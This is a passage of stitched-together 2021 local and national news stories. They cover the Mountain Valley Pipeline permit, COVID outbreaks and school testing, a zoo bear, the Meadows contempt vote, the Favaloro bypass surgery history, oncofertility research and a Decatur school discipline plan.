natural gas pipeline to cross about 150 streams and wetlands in Southwest Virginia, surmounting one of the beleaguered projects most protracted struggles. Although a similar permit from West Virginia and federal approval is still required, Mountain Valley expressed confidence that it will complete construction in a way that protects natural resources and meets public demand for reliable, affordable and lower-carbon energy. About 94% of the pipeline is finished, spokeswoman Natalie Cox wrote in an email Tuesday, and the remaining waterbody crossings can be completed successfully and without adverse impacts to sensitive resources. However, the Virginia Department of Environmental Quality has already cited the joint venture of five energy companies building the pipeline with nearly 400 violations of erosion and sediment control regulations. Opponents argue that the true number is much higher and will only increase if stream crossings are allowed to resume after earlier permits were struck down by the courts. In recommending approval for a company that it has cited repeatedly since work began in 2018, DEQ said most of Mountain Valleys failures to adequately control muddy runoff from construction sites did not ultimately lead to sediment reaching water bodies. Many pipeline opponents have wrongly characterized the infractions as violations of water quality standards, DEQs director of water permitting told the board. That is a very specific thing that was not cited in a lawsuit filed against Mountain Valley and later settled for $2.15 million, Melanie Davenport said. I just wanted to make that clear, because I think that has been a point of confusion. Pipeline opponents called the water boards vote shameful but not surprising. As we reflect on the losses of neighbor landowners and communities suffering MVPs destructive effects on land, forests and waters, in the midst of an intensifying climate crisis, Virginias Water Board has marked for itself an infamous place in history, Roberta Bondurant, co-chair of the Protect Our Water, Heritage, Rights coalition said in a statement. Board members Paula Jasinski and Ryan Seiger voted against the permit. Support came from Lou Ann Jessee-Wallace, Tim Hayes and Jack Lanier. Two members of the citizens panel, which is appointed by the governor, were absent from Tuesdays meeting. In 2017, the water board found a reasonable assurance that construction of the 303-mile pipeline through the two Virginias would not harm state waters. The U.S. Army Corps of Engineers then granted whats called a Nationwide Permit 12, a blanket approval that critics complained took a one-size-fits-all approach to water body crossings. Mountain Valley completed more than half of nearly 1,000 stream and wetland crossings in the two Virginias before the Nationwide Permit 12 was invalidated by the 4th U.S. Circuit Court of Appeals. After a second setback with the same court, Mountain Valley decided to seek an individual permit from the Army Corps, which could come only after a second approval from the states. We conducted a crossing-by-crossing review. We looked at all of them, Dave Davis, DEQs director of wetlands and stream protection, told the board. Mountain Valley has 236 remaining stream crossings in Virginia, Cox said. About 90 involve boring under the water bodies, a process that will be decided by the Federal Energy Regulatory Commission, the lead agency overseeing construction of the pipeline. The crossings approved by the water board, referred to as the open-cut method, entail temporarily damming a stream or river and digging a trench for the buried pipeline along the bottom. In some cases, pumps and flumes are used to divert the current long enough to install the 42-inch diameter pipe. Starting in northern West Virginia, the pipeline will transport 2 billion cubic feet per day of natural gas through the New River and Roanoke Valleys. It will connect with an existing pipeline in Pittsylvania County, moving gas for distribution along the Mid-Atlantic and Southeast regions. A small amount of the fuel will be used by Roanoke Gas Co, which has a subsidiary company that is a partner in construction of the infrastructure project. After listening to more than two hours of DEQ presentations, the board did not discuss the permit before taking its vote. But in questions to staff members, Jasinski expressed concerns about the long-term impacts on groundwater. One question involves the coating used to protect the pipe from corrosion, and whether harmful chemicals might make their way into wells or public water supplies. A study by FERC found no evidence to support those fears, Davenport said. Seiger asked what might happen if the pipeline route, which has changed slightly over the past four years, is again altered after a permit was granted. This is a heartbreaking decision, said David Sligh, conservation director for Wild Virginia, one of the groups filing legal challenges that have delayed the pipelines completion by three years. Yet another public agency thats supposed to protect us and our natural treasures has failed to live up to the standards we have a right to expect, Sligh said in a written statement. No single project in Virginia in decades has presented a threat to our precious resources even close to the scope and scale of those that MVP poses. News and updates from the Project Zero team at Google DANVILLE, Va. There are now six deaths linked to a COVID-19 outbreak at Gretna Health and Rehabilitation Center, the Virginia Department of Health reports. The outbreak reported Oct. 20 infected 35 individuals and still remains active. Health officials will keep the outbreak listed as active until 28 days passes without a new COVID-19 case. In an outbreak situation, the health department only includes cases and deaths that are linked to the facility. If someone tests positive for COVID-19 but the exposure is determined to be outside of the setting and they did not pass the virus on to anyone in the facility then that particular case will not be counted on a dashboard thats updated once a week, the department reports. There are two other active COVID-19 outbreaks in the Dan River Region. At the Southern Virginia Mental Health Institute, there are 26 cases associated with an outbreak reported Oct. 26. At Westover Christian Academy, an outbreak reported Oct. 20 has grown to include 44 individuals. Ronan was moved to the North Carolina Zoo based on a recommendation by the Association of Zoos and Aquariums (AZA). We are so excited to welcome Ronan to the Zoo, Curator of Mammals Jay Stutz said in the news release. He is settling in well and already building meaningful relationships with his keepers. We all look forward to the experiences that he will share with our guests and staff. Zookeepers at the Reid Park Zoo describe Ronan as a mellow bear. Stephanie Norton, Animal Welfare Specialist, said in the release: Ronan has always been a calm and easygoing bear who quickly became a favorite with all of the keepers who worked with him. He has grown into an adult bear at Reid Park Zoo and will definitely be missed, but everyone here is so excited for his chance to continue to grow and experience new things at his new home. Male grizzlies in the wild live about 22 years and weigh 400-700 pounds. They can run at speeds of 30 mph for short distances. Once prevalent throughout western North America, there are currently about 55,000 wild grizzly bears on the continent, most of which live in Alaska. Approximately 1,500 grizzlies inhabit the lower 48 states of the U.S. For more information about nuisance bear issues, visit https://bearwise.org. In addition to the sheriff's office, the Pittsylvania County fire marshal, the Pittsylvania County commonwealth attorney, the Danville Police Department, the Virginia State Police and the Joint Terrorism Task Force are also investigating. Neighbor Christopher Vaden said he was awakened by gunshots at around 4 or 5 a.m. Sunday, hours before the fire. "I said, 'Lord Jesus, what in the world is going on?'" Vaden told the Danville Register & Bee. It is not clear whether the gunshots and the fire were connected. Neighbors who spoke to the Danville Register & Bee described a stable community. "There are a lot of older people," West Prospect Street resident Rhonda Bowman said. "For the most part, it's fairly quiet." Neighbors gave conflicting statements about whether anyone lived at the residence where the incident occurred. "I didn't know them," Troy said when asked about the two males who died. "They kind of stayed to themselves." But Bowman said no one lived at the property, but she saw vehicles leaving and entering the property on a regular basis. Federalizing so many of our political disputes has produced horrible consequences. It makes every presidential or congressional election feel like a high-stakes poker game that no one can afford to lose. It guarantees constant and debilitating chaos. For most of the big political questions we face, there is no one answer that can or should be imposed across our sprawling country by a federal government few of us really trust. In his brilliant new book I, Citizen: A Blueprint for Reclaiming American Self-Governance, Tony Woodlief calls Washington, D.C. an imperial city that resembles more a circus than a capital. The showmen who populate the place clearly want it to remain the center ring of our political life. It serves their interests. But it doesnt serve ours. Only by devolving power to states, localities, and voluntary institutions can we truly accommodate difference and thus defuse political tensions before they reach the boiling point. When real authority resides in communities, citizens are more likely to engage, to express their values and views, to hold government officials accountable, and even to become elected representatives themselves, writes Woodlief, the executive vice president of State Policy Network (where I serve on the board of directors). Federal courts have done the right thing in blocking Bidens vaccine mandates. Its best to make such policies closer to home. Its also what our constitutional order requires. John Hood is a board member at the John Locke Foundation and author. BRUSSELS (AP) Ukrainian President Volodymyr Zelenskyy urged European Union leaders on Wednesday to swiftly impose new sanctions on Russia before it invades his country, and warned that acting after any conflict would be far too late. Speaking to reporters in Brussels, Zelenskyy said Ukraine stands ready to enter into talks with Russia to ease tensions, but that Russian President Vladimir Putin does not so far appear willing to come to the table. The EUs 27 national leaders will weigh how best to prevent a Russian invasion at a summit on Thursday. A statement drafted for their meeting, seen by The Associated Press, warns that any further military aggression against Ukraine will have massive consequences and severe cost in response. For us, it is important to have sanctions applied before, rather than after, the conflict would happen, because if they were applied after the conflict would happen, this would basically make them meaningless, Zelenskyy said. We have war going on for eight years. We understand that only if the sanctions are applied prior to the armed conflict would they become a prevention mechanism for any possible escalation, he said. WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. Well, I want you to know that I am right wing, Byrd said in response to the idea that the caucus might be labeled right wing. "I cling to my God, my Bible and my guns. Those and other Republican primaries, including former U.S. Sen. David Perdue's bid to knock off incumbent Gov. Brian Kemp could create a dynamic that produces a lot of conservative legislative in 2022 in Georgia. Caucus members, for example, said they want to change Georgia's gun laws to remove the fee for a gun permit, or even the requirement for a permit at all, a proposal they call constitutional carry because they argue people shouldn't have to jump through hoops to exercise their right to carry guns. That proposal has seemed dead in the water in Georgia in recent years, but Ralston has recently said he's open to exploring it. Dolezal also identified eliminating the state income tax and keeping dangerous ideology from infiltrating schools, but said that maybe more important is preventing bad proposal from becoming law. I didnt wake up this morning saying You know what Georgia needs tomorrow is more laws and regulation, Dolezal said. Follow Jeff Amy at http://twitter.com/jeffamy. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Americas labor shortage has spread to the Santa Claus economy. Like other industries, demand for workers in this sector has surged as Americans try to return to pre-pandemic life. There are about 3,000 open positions across the country for Kris Kringle look-a-likes at malls, homes and corporate events, according to Mitch Allen, founder of Dallas-based talent agency HireSanta. The dearth of Santas comes as the U.S. unemployment rate fell more than forecast last month. At the same time, the pool of available entertainers has declined by about 10% this year, Allen said. Its an older cohort that has been hit hard by COVID-19. More than 300 Santa entertainers have died from the virus, according to data collected by Allen. Many more have been scared away by the pandemic. And just like other fields, wages are rising to lure more workers. Pay has increased as much as 15% to $10,000 for the holiday season, he said. We ran out of Santas, said Allen, whose company has been struggling since October to find workers willing to don that famous red suit. " " Dr. Rene Favaloro, whose coronary artery bypass graft surgery has saved countless lives since its development in the late 1960s, is shown in an undated photo. Wikimedia Commons When I was in elementary school and my grandmother had a heart attack, something about her life-saving surgery didn't make sense to me. As an inveterate and naturally inquisitive questioner (a quality I've somehow spun into a profession), I begged my mom to explain how doctors were able to work magic in the operating room. Rightfully wary of sharing too many details, my mom offered this: "they took a healthy part from her leg and used it to fix her heart." If emojis had existed in 1994, my fourth grader face would've resembled this one: It turns out the common cardiac procedure is the brainchild of one renowned surgeon: the late Rene Favaloro. Although the Argentinian doctor passed away in 2000, his legend lives on thanks to the groundbreaking surgery he developed known as coronary artery bypass graft or CABGs (pronounced "cabbages" cute, right?). Advertisement Here's how it works: When plaque builds up on the inside of the coronary arteries (aka the tubes that pump oxygen-rich heart to the blood), it can harden or break over time, narrowing the arteries and therefore reducing the amount of oxygenated blood flowing to the heart. This can eventually lead to a heart attack. Clearing the blockage is one treatment option, but Favaloro devised another: removing a healthy artery or vein from another part of the body and connecting (or grafting) it to the blocked coronary artery. By putting a new pathway in place, the oxygenated blood is able to go around (or bypass) the blockage, and the heart is able to receive the blood it needs. Favaloro developed the crafty maneuver while working at the Cleveland Clinic in May 1967. The Buenos Aires native had been working as a doctor in his home country before moving to the United States in 1962 to study cardiovascular and thoracic surgery at the distinguished institution. It was there that during an operation on a 51-year-old woman with a blockage in her right coronary artery that Favaloro performed a "saphenous aortocoronary bypass," which means he removed a vein from the patient's leg and used it to circumvent the obstruction to her heart. One year later, Favaloro had performed the same procedure dozens of times and reported on the technique's successes. In 1971, the pioneering surgeon returned to Argentina and founded a medical research and training foundation, Fundacion Favaloro, four years later. Today, CABG is the most common type of heart surgery in the world, and Favaloro remains a medical hero. While his legacy lives on, Favaloro's life was cut short on July 29, 2000. At age 77, he died by suicide, a shocking loss that sparked debate over Argentina's devastating recession. In response to his death, Argentine President Fernando de la Rua established a day of mourning, and Favaloro continues to be celebrated and heralded as a revolutionary in modern medicine. Now That's Interesting Doctors perform nearly 500,000 CABGs in the U.S. each year. Dec 15, 2021 10:00 AM Read Time: 3 minutes Joe Letourneau, MD | Deepika Garg, MD In the United States, approximately 125,000 women of reproductive age (1545 years old) were diagnosed with cancer in 2018, according to the National Cancer Institute Survival, Epidemiology, and End Results database. Thanks to improvements in cancer research that have led to more effective treatments and better prevention and early detection methods, more than 80% of those women will become long-term survivors of their cancer diagnosis. Yet many cancer survivors are faced with a difficult reality as cancer itself, or the treatments to defeat the disease, can also have a major impact on a persons ability to have children. That is why a major investment has been made in the medical field in a practice called oncofertility. This area of medicine seeks to bridge the gap between oncology and reproductive medicine, and to help support cancer patients and survivors who wish to have children. New research published October 2021 in F&S Reports illuminates how cancer impacts fertility. Researchers outline findings about the birth rate in the healthy population as compared to cancer survivors. The studies were led by Joe Letourneau, MD, a reproductive medicine doctor and assistant professor of obstetrics and gynecology at University of Utah Health. Letourneau also provides oncofertility care for Huntsman Cancer Institute patients. Many cancer treatments are now recognized to negatively impact fertility, says Letourneau. Fertility after cancer is a significant quality of life issue, and patients have a strong desire to understand the effects of cancer treatments on their fertility, and their ability to have healthy children in the future. Deepika Garg, MD, who completed her fellowship in reproductive endocrinology and infertility at U of U Health, advanced the oncofertility projects during her fellowship. We found the association between cancer and its treatment and a subsequent decreased chance of live birth in women of reproductive age, says Garg. The researchers found the reduction in live births was most prominent among women diagnosed at age 40 or older. Garg completed this project as part of her fellowship training. I became interested in this issue as many of my patients were looking for guidance about how cancer will affect their chances of having a child, she says. This study complements further work by Garg and Letourneau that outlines some of the specific changes that happen to individual patients after cancer treatment. Presenting recently at the American Society for Reproductive Medicine annual meeting, Garg shared results of their analysis of tissue samples from survivors of Hodgkin lymphoma. They found that approximately 2.5 years after chemotherapy, a time at which many Hodgkin lymphoma survivors may begin to resume family building, endometrial thickness and endometrial histology were not significantly affected by a history of chemotherapy exposure. With continued and substantial advancement in cancer treatment, there has been a rapid increase in the population of long-term survivors of adolescent and young adulthood cancer, says Garg. Consequently, emphasis has increasingly been placed on long-term effects of cancer therapies and on quality of life. The potential impact on fertility is one of the concerns that are of greatest importance to my patients after their cancer treatment. Garg and Letourneau hope these results will expand evaluation of the specific issues that cause adverse effects of cancer treatment on fertility. They are also focused on educating the community about the role of oncofertility among cancer patients during adolescence or reproductive years. Their goal is to utilize these insights to further refine clinical guidelines for preserving fertility during the cancer treatment process. The research was supported by the University of Utah Health Center for Reproductive Medicine, Huntsman Cancer Foundation, and a Young Investigator Award from the American Society of Reproductive Medicine. WASHINGTON--(BUSINESS WIRE)--Dec 14, 2021-- Beyond The Billion, a global consortium of venture capital (VC) funds and limited partner (LP) investors released Our First Billion Global Impact Report, assessing the results of their two-year campaign. Launched to address the gender venture funding gap where women founders only received 2.2% of venture capital, the campaign inspired venture capitalists to pledge to invest more into women-founded companies. While the pledges made were not legally binding, the results demonstrate that participating funds have taken their commitment seriously. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211214005417/en/ Almost 800 women-founded companies including nine women-led unicorns funded as part of first-of-its-kind global capital commitment campaign by Beyond The Billion, a global consortium of venture funds and limited partner investors. (Photo: Business Wire) This report, published with support from Pacific Western Bank, Mastercard, Bank of America and Motley Fool Ventures, found that the consortium deployed 61%, or $638 million of their pledged amount in just two years into almost 800 women-founded companies nine of which were recognized as unicorns, with the remainder expected to be deployed by 2023. Innovative women founders are solving some of the worlds most pressing problems and so many of them were funded by our partner funds. Even as they enable women-led companies to scale, these savvy VCs are improving their returns, said Shelly Porges, Co-Founder & Managing Partner of Beyond The Billion. Sarah Chen, Co-Founder & Managing Partner of Beyond The Billion added, These results are a testament to the collective power of our community of investors activated around a specific goal. Despite the global pandemic, our partner funds have remained steadfast in their commitment to invest in women founders while addressing real structural issues in closing the gender venture funding gap. Kay Parry, Managing Director, Venture Banking of Pacific Western Bank that sponsored this report added, There is growing recognition in the venture industry that great ideas and successful entrepreneurs can come from anywhere, and the best returns are achieved with diverse teams. As importantly, this recognition extends to the LP community where we consistently hear that diversity within portfolios is now a part of their diligence process. We are excited by the progress made in 2021 and remain committed to working toward the goal of a private investment industry that more fully reflects the breadth and depth of innovators and risk-takers in our country. To view the full press release, click here. To download the full report, click here. About Beyond The Billion Beyond the Billions (BTB) first pledge campaign was launched in October 2018 with an audacious goal of catalyzing $1 billion for women founders globally, addressing the gender venture investment gap where women were receiving only 2.2% of all venture capital funding. Building on this momentum, founders Shelly Porges and Sarah Chen launched Beyond The Billion to catalyze capital deployed to and with these venture funds, and ensure continued investment by mobilizing limited partners (LPs) and connecting them to general partners (GPs) who invest in venture-backable companies founded by diverse women. Follow us on LinkedIn, Twitter,Facebook,Instagram. About Pacific Western Bank Pacific Western Bank is a commercial bank with over $34 billion in assets headquartered in Los Angeles, California, with 70 full-service branches. The venture banking team specializes in financial products and services for startups, venture-backed businesses, and their venture capital and private equity investors. The experienced team is committed to the space and dedicated to delivering high-touch, tailored solutions, helping innovators take their business to the next level. To learn more about Pacific Western Bank, visit www.pacwest.com, or follow them on LinkedIn and Twitter. View source version on businesswire.com:https://www.businesswire.com/news/home/20211214005417/en/ CONTACT: MEDIA: Emmie Twombly Media & Communications KEYWORD: UNITED STATES NORTH AMERICA DISTRICT OF COLUMBIA INDUSTRY KEYWORD: AUTOMOTIVE UTILITIES FUND RAISING ALTERNATIVE ENERGY FOUNDATION ENERGY MOBILE/WIRELESS OTHER PHILANTHROPY OTHER CONSUMER WOMEN CONTRACTS AUDIO/VIDEO GENERAL HEALTH FAMILY DEFENSE ENVIRONMENT CONSUMER OTHER TECHNOLOGY TELECOMMUNICATIONS GENERAL AUTOMOTIVE HEALTH SOFTWARE INTERNET HARDWARE MARKETING TECHNOLOGY FINANCE COMMUNICATIONS CONSULTING BANKING ACCOUNTING PROFESSIONAL SERVICES PHILANTHROPY SOURCE: Beyond The Billion Copyright Business Wire 2021. PUB: 12/14/2021 09:17 AM/DISC: 12/14/2021 09:17 AM Copyright Business Wire 2021. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The CEO of St. Peters Health said the hospitals newly hired oncologist had briefly participated in a lawsuit against a COVID-19 mandate by her previous employer and withdrew from the legal challenge a few days after it was filed. However, court documents filed online show Dr. Elizabeth Biggers name still listed as a plaintiff in the U.S. District Court suit as recently as Dec. 14. Wade Johnson, CEO of St. Peters, also wrote Dec. 13 in the Inside St. Peters newsletter that Biggers brief participation in a lawsuit against her former employer had not been initiated prior to her interviews in Montana. On Oct. 25, Bigger notified her legal counsel of her decision to no longer participate in this lawsuit, St. Peter's officials said. Lauren Elizabeth Bradford, the Lincoln, Massachusetts, attorney who is listed as representing Bigger, declined Tuesday to discuss whether Bigger was still a part of the legal action for the District of Massachusetts. However, she said she was filing a revised document later this week that would be public. St. Peter's officials said Wednesday that legal proceedings often take time. The Independent Record asked for the hospital to make Bigger available for an interview Wednesday. That request was declined, but the hospital said it would introduce the paper and community to her when she arrives in Helena later this winter. St. Peters announced Nov. 22 that Bigger, who is also a hematologist, will start at the Helena hospital in late February. She replaces Dr. Thomas Weiner, who was fired from the hospital in November 2020 and is now embroiled in a wrongful termination lawsuit with the health center over his dismissal. Bigger was among the eight people known as Together Employees, named in the emergency application writ of injunction pending appeal filed Nov. 23 with the U.S. Supreme Court against Mass General Brigham Inc., a Massachusetts-based health care provider where she worked. We are confident Dr. Bigger will be a fantastic addition to the St. Peters team, both in her approach to providing medicine and the culture we are building, Johnson stated in the newsletter, adding she had received another offer from a Montana health care system, but she selected St. Peters. With her background and expertise, we will offer a higher level of cancer care to Helena and further grow our affiliation with Huntsman Cancer Institute," Johnson stated. On Nov. 4, the federal Centers for Medicare and Medicaid Services issued an interim rule requiring COVID-19 vaccinations for workers in most health care settings, including hospitals, that participate in the Medicare and Medicaid programs. The rule does allow for exemptions to staff with recognized medical conditions or religious beliefs, observances or practices, according to the Montana Hospital Association. On Oct. 17, the Together Employees filed a request for a preliminary injunction to halt the vaccine requirement. A District Court denied the request on Oct. 20. Appeals were unsuccessful as well, the Nov. 23 application states, prompting the applicants to approach U.S. Supreme Court Justice Stephen Breyer on an emergency basis. Breyer denied their request to keep Mass General Brigham from enacting the policy. Bigger, according to the Nov. 23 court document, sought a religious accommodation. She has refused any vaccines with a connection to aborted fetal tissue in the production and testing of the vaccines, provided scriptural basis for her belief and cited scientific sources. According to the plaintiffs, a reviewer on Mass General's vaccination committee stated falsely that Bigger claimed the vaccines contained aborted fetal tissue. Mass General Brigham Inc. set a Nov. 5 deadline to take a COVID-19 vaccine, the Nov. 23 application notes. It states that the applicants have been terminated from the hospital. In the Dec. 13 newsletter, Johnson said St. Peter's had discussions with Bigger about the case. After learning about the lawsuit and discussing this further with Dr. Bigger, we better understand the vulnerable place she was in due to the conflict between her personal beliefs and her method of practicing scientifically based medicine, Johnson wrote. The Independent Record reported on that conflict in its Nov. 24 story about the filing with U.S. Supreme Court Justice Stephen Breyer. Johnson wrote Dec. 13 that Bigger assured St. Peters officials that she fully endorses the COVID-19 vaccine, believing it is safe, effective and represents the very best medical science has to offer today in protection against the COVID-19 virus. She advocates for and administers the COVID-19 vaccine to her patients, as well as to many of her family members, Johnson wrote. Johnson, in his newsletter, also criticized the Independent Record for its coverage of the case. If youve seen the Independent Record articles about Dr. Bigger, please know that common media tactics like polarizing headlines encourage clicks and sell newspapers, he said. The Montana Hospital Association has affirmed the state's ban on workplace vaccine mandates is now the law of the land in Montana, after a federal judge on Nov. 30 paused immunization requirements for health care workers across the country. "Around 20% - 30% of healthcare workers across the country, in Montana and at St. Peter's, are not vaccinated and likely won't be as we move forward," Johnson said in his newsletter. "We will maintain a stringent focus on safety and infection prevention measures within our facilities, including masking and PPE requirements." Assistant editor Phil Drake can be reached at 406-231-9021. Love 3 Funny 6 Wow 1 Sad 1 Angry 18 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The state has distributed $2.7 million in federal funding to public and private schools for rapid COVID-19 testing screening programs. The funding comes through a partnership with the Centers for Disease Control and Prevention and the state Department of Public Health and Human Services. Schools that apply and are approved through the program receive BinaxNOW rapid antigen tests, which use a non-invasive swab inserted a short way into the nose. Students whose parents consent, teachers and staff can be screened with the tests. To participate in the program, schools must use tests on asymptomatic people to find undetected cases, but can also test people who might become symptomatic during the school day. Though it's preferable to have a school-based nurse do the test, any employee can be trained to collect samples, the state health department said. So far the state health department has approved 75 district applications, which covers 223 schools and more than 78,000 students, according to the health department. A total of $14 million has been approved for the program by Gov. Greg Gianforte following recommendation from the state's commission that directs spending of the American Rescue Plan Act money that came to Montana. There are five outstanding applications still working through the process. Turnaround time for applications is around seven to 10 days, the state health department said Tuesday. Testing offers an additional layer of prevention, helping schools to provide in-person learning for their students with confidence, health department director Adam Meier said in a press release. Districts with 25 full-time employees or less are eligible for $35,000 and those with more than 25 full-time staff can receive $45,000. The first round of funding applications opened Sept. 1 and closes Dec. 31. There could be another round in January based on need and available funding. Micah Hill, the superintendent for Kalispell Public Schools, said Tuesday that his district recognized the $45,000 wouldn't go very far on its own, so they worked with seven others in the region to pool their resources and use the funding to open multiple testing sites, all off school campuses. The state health department provided support too, he said. The sites are open at convenient hours for people going to work, in addition to some Saturday availability, and being off school grounds means that potentially sick people aren't exposing students when they come to get tested. One testing site is at the fairgrounds and the others are in rented camper trailers on the north and south ends of the Flathead Valley. "It gave us a preemptive heads up and families a heads up so they could take the necessary steps to prevent the spread within our schools," Hill said. Before the school districts set up the testing sites around the start of October, some families struggled to find or afford the rapid tests and faced long wait times for polymerase chain reaction (PCR) tests, Hill said. Early on, the positive rate was about 15% at the sites, Hill said. "For every one you catch, you have this likelihood you prevent the spread to five other people," Hill said. "Our goal is to keep our doors open, keep cases low for students having to miss school and also for staff." Schools that apply must submit a proposed budget, and expenditure reports showing how schools spent their money must be submitted Jan. 15. Both private and public schools are eligible. "The primary intent of this funding is to help schools pay for staff or contract with local partners to help conduct COVID-19 testing as a means to help keep staff and students safe, healthy, and in school. All schools have utilized funding to support personnel involved in COVID-19 rapid testing. Most schools have also allocated portions of their grant funding to personal protective equipment, cleaning supplies, and other necessary testing supplies," state health department spokesperson Jon Ebelt wrote in an email Monday. Schools can use their funding to pay for employees to handle testing; the supplies to test; personal protective equipment; other hygiene and cleaning supplies; tools like hardware and software that assist in rapid identification, electronic reporting, monitoring, analysis and evaluation of screening measures; contracts to conduct testing and report results; incentives to encourage participation; and technical assistance to establish programs, in addition to other costs. Schools that don't apply for the program can still order BinaxNOW tests for free from the state health department. For information on how to apply for funding, visit dphhs.mt.gov/schoolhealth/ELCschoolreopening. Questions can also be sent to to schoolhealth@mt.gov. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. DECATUR Decatur Public Schools will have a student discipline reset beginning after the winter break. During a presentation by Student Services at the Tuesday school board meeting, Assistant Superintendent Rochelle Clark and Student Services Director Lawrence Trimble discussed the uptick in student behavior issues since in-person classes resumed in August. We do want to address the impact COVID has had on us returning to school, Trimble said. We do know that morale and also the necessity of a reset has been based off coming back from the pandemic. We have been seeing behaviors indicative of a necessity to reset on the student level. We've seen a lot of classroom closures (due to COVID cases). Every time we close a classroom we have to reset again. It's made a tremendous impact on daily operations. Discipline and behavior issues, both inside and outside of school, student burnout, difficulty readjusting to in-person learning, severe social/emotional needs, and more extreme behaviors in the lower grades, combined with staff burnout and exhaustion, a lack of staff that requires administrators to help cover classes, and confrontations with staff have resulted in a need to make changes. Student ambassadors to the school board have brought the issue up at several recent meetings. Eisenhower High School senior Elizabeth Palagi first broached the topic at the Sept. 28 meeting, when she told the board her fellow students were arriving late to class because navigating the hallways with so many fights going on was so difficult. Daniel Flores, a second-year ambassador and senior at MacArthur High School, said it's also happening at his school and at Stephen Decatur Middle School. There are still fights going on over there (at MacArthur), Daniel said. Students and teachers are concerned about violence over there. I asked them what they'd like to see changed, and they said more security and for you to do whatever you can to try to quell this disturbance. The reset will include regular input from the Superintendent's Youth Advisory Council and the student ambassadors, Clark said. The district plans a boot camp the first week of January, with grade-level meetings to review the Student Code of Conduct, from dress code violations to physical altercations and threats to staff. Administrators will have behavior intervention manuals, all staff will receive training in de-escalation techniques, administrators will have monthly discipline meetings, and restorative practices for students will serve as a proactive way to address student concerns. Student identification badges will be required by fall 2022, and greater security measures, including security personnel in elementary buildings and uniforms for security personnel to make them easily identifiable, are on the way. Wands for metal detection scanning will be available for security at Stephen Decatur and the high schools, cameras will be updated and more of them installed, security staff will more closely monitor common areas and blind spots throughout buildings, and outside doors will be more frequently checked. Staff shortages, including security staff, have made it difficult to address the issues that have arisen. We're not saying our kids are a danger, Clark said. We want everyone to feel safe, and if this is going to make them feel safe, we want to do that. The plan will include elements of the Resolution on Racism approved by the previous school board in August 2020, and will be developed with consideration of mental health needs of students and staff, Trimble said. Parents will be an important part of the reset process and the district will depend on their support. Among the points in the Resolution on Racism is to develop a revised discipline system that protects the physical, mental, emotional and social health of students and staff through a culturally responsive, restorative justice model and to involve the Decatur Police Department only in emergent, violent crisis situations. Restorative justice is when victim and offender meet, usually with community representatives, with a focus on the rehabilitation of the offender and de-escalation of the situation rather than punishment. Clark said Decatur schools have a high rate of suspensions and students who are out of school are not receiving the social and emotional support needed to correct the behavior. Also, students might react in a moment of anger, and teachers, administrators and staff can learn techniques for de-escalating those situations. Behavior manuals distributed to staff in buildings will give them "intervention plans," both small steps to take in the moment and longer-term plans to implement once the immediate situation is dealt with. The timeline for implementation is going to be quick, Clark said. We don't have a lot of time (before January), and we've already had a meeting with administrators and shared information with union members as well. It really helps we're all on same page in terms of what needs to happen. Contact Valerie Wells at (217) 421-7982. Follow her on Twitter: @modgirlreporter Love 5 Funny 1 Wow 0 Sad 1 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. CLINTON The C.H. Moore Homestead and DeWitt County Museum will be recounting the stories of local residents who were lifted by the world of aviation. A new exhibit opening in June is titled "Prairie Flyers: A Century of Aviation in DeWitt County." A press release from the museum said director Joey Long is collaborating with John Warner and his friend Denis Hambucken, a graphic designer, photographer and writer. The two have joined up to create other museum exhibits in New England, said the statement. Hambucken said he'll design an all-ages experience with the exhibit, zeroing in on themes likes aviation pioneers, Vietnam War helicopter pilots, and private and military aviation. "These themes will be richly illustrated with evocative artifacts, local stories and mannequins in full uniforms. You can expect a professionally curated, world-class exhibit," Hambucken said. Additionally, Edith Brady-Lunny, WGLT correspondent and former reporter for The Pantagraph, will assist with gathering stories for the display. The exhibit plans to tell how people's lives became linked with aviation, from service members in the U.S. military to flight attendants, along with mechanics, commercial pilots, crop dusters and ticket agents. Warner said in the release that aviation history in DeWitt County runs deep and wide. And, local enthusiasm was strong from the start. "In all my years of flying, I have learned firsthand that DeWitt County residents are the holders of fascinating stories and wonderful, evocative souvenirs and artifacts that chronicle their love affair with flight," Warner said. "The romance takes many shapes and sizes military aviation, the airline industry, private aviation, control tower operations, aircraft maintenance, and so forth and when all are combined, a fascinating, multi-faceted story develops." The museum also wishes to borrow personal artifacts for the display, which will be in the Carriage Barn west of the homestead, Long said in the news release. The director said she's looking forward to seeing other new items brought into the museum, adding they've already been loaned some photographs. Long said she's sure that more images, heirlooms and relics are to follow, including "many treasures hidden away in albums, attics, and boxes" that will be featured by the museum and appreciated by many. "Each individual piece holds significance, but when all are combined to tell the story of 100 years of aviation in DeWitt County as a whole, the individual items and narrative will become much more powerful," she said. Stories and photos collected for the Prairie Flyers display will be arranged in a book to be designed by Hambucken. The museum is accepting stories for submission at www.chmoore.homestead.org or by contacting the museum director at 217-935-6066. Contact Brendan Denison at (309) 820-3238. Follow Brendan Denison on Twitter: @BrendanDenison Love 0 Funny 0 Wow 0 Sad 0 Angry 0 DECATUR The Decatur Police Department will participate in a statewide awareness campaign to crack down on impaired and unbuckled drivers from Dec. 17 through Jan. 3. Driving impaired, whether under the influence of alcohol or drugs, can have catastrophic consequences and is illegal in every state, said Sgt. Steve Hagemeyer. Not only do you put yourself at risk, but the lives of others as well. According to the Illinois Department of 